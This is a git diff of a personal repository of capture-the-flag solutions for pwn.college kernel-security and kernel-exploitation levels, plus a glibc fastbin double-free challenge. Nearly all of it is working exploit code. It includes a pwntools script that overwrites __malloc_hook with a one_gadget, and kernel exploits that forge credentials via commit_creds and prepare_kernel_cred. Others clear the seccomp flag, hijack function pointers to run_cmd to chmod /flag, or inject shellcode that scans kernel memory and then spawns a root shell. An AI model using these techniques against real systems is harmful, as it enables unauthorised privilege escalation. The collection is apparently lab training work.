Compare commits

..

10 Commits

Author SHA1 Message Date
Jack Ren
f736fa4168 Updated exploit.cpp of Level2 in KernelExploitation 2025-11-08 23:23:13 +08:00
Jack Ren
712ab90546 Updated Level2 of KernelExploitation 2025-10-28 19:03:13 +08:00
Jack Ren
a5eeaba86a Updated Level1 of KernelExploitation 2025-10-16 23:24:06 +08:00
Jack Ren
d5bfc6ce0a Added Level 1 of KernelExploitation in PwnCollege 2025-10-15 21:26:48 +08:00
Jack Ren
57c2848513 Updated typos in FastBin/CaNaKMgF_remastered 2024-10-25 21:16:23 +08:00
9e61260765 Finished FastBin/CaNaKMgF_remastered 2024-10-24 20:56:26 +08:00
Jack Ren
5537ec2174 Added Level 12.0 ~ 12.1 of KernelSecurity in PwnCollege 2024-10-03 18:54:15 +08:00
Jack Ren
f507def800 Added Level 11.0 ~ 11.1 of KernelSecurity in PwnCollege 2024-10-03 14:08:03 +08:00
Jack Ren
141e4a8030 Added Level 9.0 ~ 10.1 of KernelSecurity in PwnCollege 2024-09-30 12:39:02 +08:00
Jack Ren
d615165639 Added Level 3.0 ~ 8.1 of KernelSecurity in PwnCollege 2024-09-27 16:15:54 +08:00
26 changed files with 709 additions and 0 deletions

Binary file not shown.

View File

@@ -0,0 +1,68 @@
#!/usr/bin/env python3
# coding = utf-8
# Env: Ubuntu 16.04.7 LTS, GLIBC 2.23-0ubuntu11.3
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
context.terminal = ['/usr/bin/tmux', 'splitw', '-h']
p = process('./CaNaKMgF_remastered')
elf = ELF('./CaNaKMgF_remastered')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
# gdb.attach(p, "")
# time.sleep(1)
def menu(option):
p.recvuntil("5. Run away\n")
p.sendline(option)
def allocate(size, data):
menu("1")
p.recvuntil("Length? ")
p.sendline(f"{size}")
p.send(data)
def free(index):
menu("3")
p.recvuntil("Num? ")
p.sendline(f"{index}")
def read(index):
menu("4")
p.recvuntil("Num? ")
p.sendline(f"{index}")
data = p.recvuntil("\n1. Allocate\n")
return data[:-13]
# Leak libc base
allocate(0x100, 'a') # 0
allocate(0x100, 'a') # 1
free(0)
main_arena_p88 = u64(read(0).ljust(8, b'\x00'))
print(f"main_arena + 88: {hex(main_arena_p88)}")
libc_base = main_arena_p88 - 0x3c4b78
print(f"libc_base: {hex(libc_base)}")
free(1)
# Double free
allocate(0x60, 'a') # 2
allocate(0x60, 'a') # 3
allocate(0x60, 'a') # 4
free(2)
free(3)
free(2)
# Overwrite __malloc_hook by fake a chunk at (char *)__malloc_hook - 0x23
__malloc_hook = libc_base + libc.symbols['__malloc_hook']
allocate(0x60, p64(__malloc_hook - 0x23)) # 5
allocate(0x60, 'a') # 6
allocate(0x60, 'a') # 7
one_gadget = libc_base + 0xf03a4 # constraints: [rsp+0x50] == NULL
allocate(0x60, b'a' * 0x13 + p64(one_gadget)) # 8
free(6)
free(6)
p.interactive()

View File

@@ -0,0 +1,33 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char* alloc_list[100];
unsigned int alloc_idx = 0;
int main() {
unsigned int option, size, index;
while (1) {
scanf("%u", &option);
switch (option) {
case 1: { // allocate(size, data)
scanf("%u", &size);
char *buf = malloc(size);
read(0, buf, size);
alloc_list[alloc_idx++] = buf;
break;
}
case 3: { // free(index)
scanf("%u", &index);
free(alloc_list[index]);
// alloc_list[index] is a
// dangling pointer now
break;
}
case 4: { // read(index)
scanf("%u", &index);
puts(alloc_list[index]);
break;
}
}
}
}

View File

@@ -0,0 +1 @@
!*.ko

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,42 @@
#include <stdio.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#define CMD_PRINT 22274
#define CMD_COPY_FLAG 22276
#define CMD_COPY_TO_USER 22272
#define CMD_COPY_FROM_USER 22273
struct kheap_req_t {
void * ubuf;
size_t size;
};
int main() {
int fd = open("/proc/kheap", O_RDWR);
char buf[0x1000] = {0};
struct kheap_req_t req = {buf, 0};
req.size = 0x200;
memset(buf, '0', 0x1000);
ioctl(fd, CMD_COPY_FROM_USER, &req);
for (int i = 0; i < 0x1000; i++)
ioctl(fd, CMD_COPY_FLAG, &req);
req.size = 0x1000;
ioctl(fd, CMD_COPY_TO_USER, &req);
printf("%s", &buf[0x200]);
return 0;
}
// Protection:
// - No KASLR.
// - CONFIG_SLAB_FREELIST_RANDOM=n
// - CONFIG_SLAB_FREELIST_HARDENED=n
// Debug:
// Use `sudo cat /proc/modules` to get kernel module base.
// gdb> add-symbol-file /challenge/challenge1.ko 0xffffffffc0000000
// gdb> b kheap_open
// gdb> b kheap_ioctl
// An aligned slub slot is 0x200 bytes.
// $ gcc exploit.c -o exploit

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,187 @@
#include <cstdio>
#include <cstring>
#include <cstdint>
#include <cstdlib>
#include <ctime>
#include <vector>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#define CMD_COPY_TO_USER 22272
#define CMD_COPY_FROM_USER 22273
#define CMD_EXE_FUNC_PTR 22274
const uint64_t MODULE_BASE = 0xffffffffc0000000ull;
const uint64_t commit_creds = 0xffffffff810b8bb0ull;
struct cred {
uint64_t usage;
uint32_t uid;
uint32_t gid;
uint32_t suid;
uint32_t sgid;
uint32_t euid;
uint32_t egid;
uint32_t fsuid;
uint32_t fsgid;
unsigned int securebits;
uint64_t cap_inheritable;
uint64_t cap_permitted;
uint64_t cap_effective;
uint64_t cap_bset;
uint64_t cap_ambient;
unsigned char jit_keyring;
void *session_keyring;
void *process_keyring;
void *thread_keyring;
void *request_key_auth;
void *security;
void *user;
void *user_ns;
void *ucounts;
void *group_info;
union {
int non_rcu;
struct {
void *next;
void (*func)(void *head);
} rcu __attribute__((aligned(sizeof(void *))));
};
};
char buf[0x1000];
struct kheap_req_t {
void * ubuf;
size_t size;
} req = {buf, 0};
std::vector<int> fds;
int new_fd() {
return open("/proc/kheap", O_RDWR);
}
bool is_slots_adjacent(int attack_fd, int victim_fd) {
uint64_t * ptr;
// write to victim_fd
ptr = (uint64_t *) buf;
int rand_value = rand();
*ptr = rand_value;
req.size = 0x8;
ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
// read from attack_fd
req.size = 0x208;
ioctl(attack_fd, CMD_COPY_TO_USER, &req);
ptr = (uint64_t *) &buf[0x200];
if ((*ptr) == rand_value) {
printf("%d is adjacent to %d\n", attack_fd, victim_fd);
return true;
} else {
printf("%d isn't adjacent to %d\n", attack_fd, victim_fd);
return false;
}
}
int find_attack_object(int victim_fd) {
for (int i = 0; i < fds.size(); i++) {
if (is_slots_adjacent(fds[i], victim_fd))
return fds[i];
}
return -1;
}
void close_fds() {
for (int i = 0; i < fds.size(); i++) {
close(fds[i]);
}
}
// Refer to
// https://ctf-wiki.org/pwn/linux/kernel-mode/aim/privilege-escalation/change-self/#commit_credsinit_cred
// https://elixir.bootlin.com/linux/v6.7.9/source/kernel/cred.c#L44
void do_fake_cred(struct cred *fake_cred) {
memset(fake_cred, 0, sizeof(struct cred));
// placement new
new (fake_cred) cred {
.usage = 1,
.uid = 0,
.gid = 0,
.suid = 0,
.sgid = 0,
.euid = 0,
.egid = 0,
.fsuid = 0,
.fsgid = 0,
.securebits = 0,
.cap_inheritable = 0,
.cap_permitted = 0xFFFFFFFFFFFFFFFF,
.cap_effective = 0xFFFFFFFFFFFFFFFF,
.cap_bset = 0xFFFFFFFFFFFFFFFF,
// nm -a /challenge/vmlinux | grep symbol_name
.security = (void*)0xffffffff82a51560, // picked a kernel memory address and it worked
.user = (void*)0xffffffff82a51560, // root_user
.user_ns = (void*)0xffffffff82a51600, // init_user_ns
.ucounts = (void*)0xffffffff82a53800, // init_ucounts
.group_info = (void*)0xffffffff82a52fd8, // init_groups
};
}
int main() {
srand(time(NULL));
int times = 1;
int attack_fd, victim_fd = new_fd();
fds.push_back(victim_fd);
// try to find an attack chunk exactly before victim chunk
while ((attack_fd = find_attack_object(victim_fd)) == -1) {
if (times > 100) {
printf("heap spray failed\n");
return 0;
}
victim_fd = new_fd();
fds.push_back(victim_fd);
times++;
}
// fake a `struct cred` in victim chunk's `buf`
struct cred fake_cred;
do_fake_cred(&fake_cred);
memcpy(buf, &fake_cred, sizeof(struct cred));
req.size = sizeof(struct cred);
ioctl(victim_fd, CMD_COPY_FROM_USER, &req);
// overwrite victim chunk's `func` to `commit_creds` via attack chunk's OOB
uint64_t * ptr = (uint64_t *)&buf[0x1f8];
*ptr = commit_creds;
req.size = 0x200;
ioctl(attack_fd, CMD_COPY_FROM_USER, &req);
// execute function pointer in kernel space
ioctl(victim_fd, CMD_EXE_FUNC_PTR, &req);
// syscall execve lead to kernel problems as `struct cred` is faked
// execve("/bin/sh", NULL, NULL);
// try change the mode of flag
chmod("/flag", 0777);
close_fds();
return 0;
}
// Protection:
// - No KASLR.
// - SMAP, SMEP On.
// - CONFIG_SLAB_FREELIST_RANDOM=y
// - CONFIG_SLAB_FREELIST_HARDENED=n
// - CONFIG_RANDSTRUCT=n
// Debug:
// Use `sudo cat /proc/modules` to get kernel module base.
// gdb> add-symbol-file /challenge/challenge2.ko 0xffffffffc0000000
// gdb> b kheap_open
// gdb> b kheap_ioctl
// An aligned slub slot is 0x200 bytes.
// $ g++ exploit.cpp -o exploit -g

View File

@@ -0,0 +1,26 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
struct evil
{
char buffer[256];
int (*log_function)(const char *, ...);
} s;
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
memset(s.buffer, '0', 256);
write(fd, &s, 256);
uint64_t printk_addr;
scanf("%llx", &printk_addr);
s.log_function = printk_addr - 0xffffffffb90b69a9 + 0xffffffffb9089b30; // run_cmd
printf("%llx\n", s.log_function);
// run_cmd doesn't use stdin nor stdout. It also doesn't use current working directory. Its CWD is /. The executable should use absolute path.
strcpy(s.buffer, "/bin/chmod 666 /flag");
write(fd, &s, sizeof(struct evil) - 1);
}

View File

@@ -0,0 +1,48 @@
import sys
sys.path.append("..")
from pwn import context, shellcraft
from common import *
context(arch = 'amd64', os = 'linux')
kernel_assembly = f"""
/* current->thread_info.flags &= ~(1 << TIF_SECCOMP); */
mov rdx, gs:0x15d00 /* runtime-relocated offsets */
mov rax, [rdx]
and ah, 0xfe
mov [rdx], rax
/* commit_creds(prepare_kernel_cred(NULL)); */
xor rdi, rdi
movabs rsi, 0xffffffff81089660
call rsi /* prepare_kernel_cred */
mov rdi, rax
movabs rsi, 0xffffffff81089310
call rsi /* commit_creds */
ret
""".strip()
kernel_machine_code = dump_machine_code(kernel_assembly)
user_assembly = f"""
{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
{shellcraft.amd64.linux.write(3, "rsp", len(kernel_machine_code))}
/* Get current PID `cpid` */
{shellcraft.amd64.linux.getpid()}
/* Assume sub-process has PID `cpid + 1` */
lea rbx, [rax + 1]
/* ptrace attach to sub-process */
{shellcraft.amd64.linux.syscall("SYS_ptrace", 'PTRACE_ATTACH', "rbx", 0, 0)}
/* wait sub-process to stop */
{shellcraft.amd64.linux.syscall("SYS_wait4", -1, 0, 0, 0)}
"""
for addr in range(0x404040, 0x4040a0, 0x8):
# Peek sub-process's data and output
user_assembly += shellcraft.amd64.linux.syscall("SYS_ptrace", 'PTRACE_PEEKDATA', "rbx", addr, 'rsp')
user_assembly += shellcraft.amd64.linux.write(1, 'rsp', 8)
user_machine_code = dump_machine_code(user_assembly)
with open('shellcode.bin', 'wb') as f:
f.write(user_machine_code)
f.write(b'\xcc' * (0x1000 - len(user_machine_code)))

View File

@@ -0,0 +1,79 @@
import sys
sys.path.append("..")
from pwn import context, shellcraft
from common import *
context(arch = 'amd64', os = 'linux')
kernel_assembly = f"""
.equ page_offset_base_min, 0xffff888000000000
.equ page_offset_base_max, 0xffff888000000000 + 2029520 * 1024
movabs rbx, page_offset_base_min
loop_start:
mov rdx, page_offset_base_max
cmp rbx, rdx
ja loop_end
lea rdi, [rip + flag_startwith_string]
lea rsi, [rbx + 0x40]
call str_startwith
test rax, rax
jz loop_next
lea rdi, [rbx + 0x40]
call send_message
loop_next:
add rbx, 0x1000
jmp loop_start
loop_end:
ret
int 3
str_startwith:
/* const char * comparee in `rdi`, end with 0x00; const char * comparer in `rsi` */
/* Clobber: rax, rdi, rsi, rcx */
push rdi
{shellcraft.amd64.strlen('rdi', 'rcx')}
pop rdi
cld
repe cmpsb
jz str_startwith_stop
xor rax, rax
ret
str_startwith_stop:
mov rax, 1
ret
int 3
send_message:
/* const char * message in `rdi` */
/* Clobber: all volatile registers */
lea rsi, [rip + run_cmd_buffer]
{shellcraft.amd64.strcpy('rsi', 'rdi')}
lea rdi, [rip + run_cmd_arg]
movabs rsi, 0xffffffff81089b30 /* run_cmd */
call rsi
ret
int 3
flag_startwith_string:
.ascii "pwn.college"
.byte 0x7B, 0x00
run_cmd_arg:
.ascii "/home/hacker/KernelSecurity/Level12.0/write "
run_cmd_buffer:
.byte 0x00
""".strip()
kernel_machine_code = dump_machine_code(kernel_assembly)
user_assembly = f"""
{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
{shellcraft.amd64.linux.write(3, "rsp", len(kernel_machine_code))}
""".strip()
user_machine_code = dump_machine_code(user_assembly)
with open('shellcode.bin', 'wb') as f:
f.write(user_machine_code)
f.write(b'\xcc' * (0x1000 - len(user_machine_code)))

View File

@@ -0,0 +1,17 @@
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
int main(int argc, char* argv[]) {
int fd = open("/home/hacker/KernelSecurity/Level12.0/output.txt", O_WRONLY | O_APPEND | O_CREAT, 0644);
for (int i = 1; i < argc; i++) {
write(fd, argv[i], strlen(argv[i]));
write(fd, "\n", 1);
}
close(fd);
return 0;
}

View File

@@ -0,0 +1,8 @@
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
write(fd, "oiwqgsfsdekebbgi", 0x10);
execve("/bin/bash", NULL, NULL);
}

View File

@@ -0,0 +1,8 @@
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
write(fd, "ysrxhmxtsfctmnuv", 0x10);
execve("/bin/bash", NULL, NULL);
}

View File

@@ -0,0 +1,10 @@
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
ioctl(fd, 1337, "owibidryoofhkxuo");
execve("/bin/bash", NULL, NULL);
}

View File

@@ -0,0 +1,10 @@
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
ioctl(fd, 1337, "amykdifilzqobpdg");
execve("/bin/bash", NULL, NULL);
}

View File

@@ -0,0 +1,10 @@
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
ioctl(fd, 1337, 0xffffffffc0000000ull + 0x8edull);
execve("/bin/bash", NULL, NULL);
}

View File

@@ -0,0 +1,10 @@
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
ioctl(fd, 1337, 0xffffffffc0000000ull + 0xc2ull);
execve("/bin/bash", NULL, NULL);
}

View File

@@ -0,0 +1,24 @@
#include <stdlib.h>
#include <stdint.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
__attribute__((naked))
void shellcode() {
asm volatile(
"xor %rdi, %rdi\n"
"movabs $0xffffffff81089660, %rsi\n"
"callq *%rsi\n" // prepare_kernel_cred
"movq %rax, %rdi\n"
"movabs $0xffffffff81089310, %rsi\n"
"callq *%rsi\n" // commit_creds
"retq\n"
);
}
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
write(fd, (void *)shellcode, 0x1F);
execve("/bin/bash", NULL, NULL);
}

View File

@@ -0,0 +1,34 @@
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
struct ioctl_args {
uint64_t length;
uint8_t shellcode[0x1000];
uint64_t codeptr;
}args;
__attribute__((naked))
void shellcode() {
asm volatile(
"xor %rdi, %rdi\n"
"movabs $0xffffffff81089660, %rsi\n"
"callq *%rsi\n" // prepare_kernel_cred
"movq %rax, %rdi\n"
"movabs $0xffffffff81089310, %rsi\n"
"callq *%rsi\n" // commit_creds
"retq\n"
);
}
int main() {
args.length = 0x1f;
memcpy(args.shellcode, shellcode, args.length);
args.codeptr = 0xffffc90000085000ull;
int fd = open("/proc/pwncollege", O_WRONLY);
ioctl(fd, 1337, &args);
execve("/bin/bash", NULL, NULL);
}

View File

@@ -0,0 +1,36 @@
import sys
sys.path.append("..")
from pwn import context, shellcraft
from common import *
context(arch = 'amd64', os = 'linux')
kernel_assembly = f"""
/* current->thread_info.flags &= ~(1 << TIF_SECCOMP); */
mov rdx, gs:0x15d00 /* runtime-relocated offsets */
mov rax, [rdx]
and ah, 0xfe
mov [rdx], rax
/* commit_creds(prepare_kernel_cred(NULL)); */
xor rdi, rdi
movabs rsi, 0xffffffff81089660
call rsi /* prepare_kernel_cred */
mov rdi, rax
movabs rsi, 0xffffffff81089310
call rsi /* commit_creds */
ret
""".strip()
kernel_machine_code = dump_machine_code(kernel_assembly)
user_assembly = f"""
{shellcraft.amd64.pushstr(kernel_machine_code, append_null=False)}
{shellcraft.amd64.linux.syscall("SYS_write", 3, "rsp", len(kernel_machine_code))}
{shellcraft.amd64.linux.cat("/flag")}
""".strip()
user_machine_code = dump_machine_code(user_assembly)
with open('shellcode.bin', 'wb') as f:
f.write(user_machine_code)
f.write(b'\xcc' * (0x1000 - len(user_machine_code)))

View File

@@ -0,0 +1,8 @@
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/cred.h>
MODULE_LICENSE("GPT");
void* test_unset_seccomp_flag_in_thread_info_flags(void) {
return current->thread_info.flags &= ~(1 << TIF_SECCOMP);
}

View File

@@ -0,0 +1,20 @@
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
struct evil
{
char buffer[256];
int (*log_function)(const char *, ...);
} s;
int main() {
int fd = open("/proc/pwncollege", O_WRONLY);
strcpy(s.buffer, "/bin/chmod 666 /flag");
s.log_function = 0xffffffff81089b30ull; // run_cmd
// run_cmd doesn't use stdin nor stdout. It also doesn't use current working directory. Its CWD is /. The executable should use absolute path.
write(fd, &s, sizeof(struct evil) - 1);
}

View File

@@ -0,0 +1,30 @@
from pwn import asm, disasm, util
import struct
def i2f(x):
return struct.unpack('!d', struct.pack('!Q', x))[0]
def f2i(x):
return struct.unpack('!Q', struct.pack('!d', x))[0]
def dump_machine_code(assembly: str):
machine_code = asm(assembly)
print("Assembly:")
print(assembly)
print("Byte Array:", list(machine_code))
padding = b"\xcc" * ((4 - len(machine_code)) % 4)
unpacked_signed_array = util.packing.unpack_many(machine_code + padding, 32, endian='little', sign=True)
unpacked_unsigned_array = util.packing.unpack_many(machine_code + padding, 32, endian='little', sign=False)
print("Signed DWord Array:", unpacked_signed_array)
print("Unsigned DWord Array:", unpacked_unsigned_array)
print("Hex DWord Array:", list(map(hex, unpacked_unsigned_array)))
padding = b"\xcc" * ((8 - len(machine_code)) % 8)
unpacked_signed_array = util.packing.unpack_many(machine_code + padding, 64, endian='little', sign=True)
unpacked_unsigned_array = util.packing.unpack_many(machine_code + padding, 64, endian='little', sign=False)
print("Signed QWord Array:", unpacked_signed_array)
print("Unsigned QWord Array:", unpacked_unsigned_array)
print("Hex QWord Array:", list(map(hex, unpacked_unsigned_array)))
print("Double Array:", list(map(i2f, unpacked_unsigned_array)))
print("Disassembled-assembly:")
print(disasm(machine_code))
return machine_code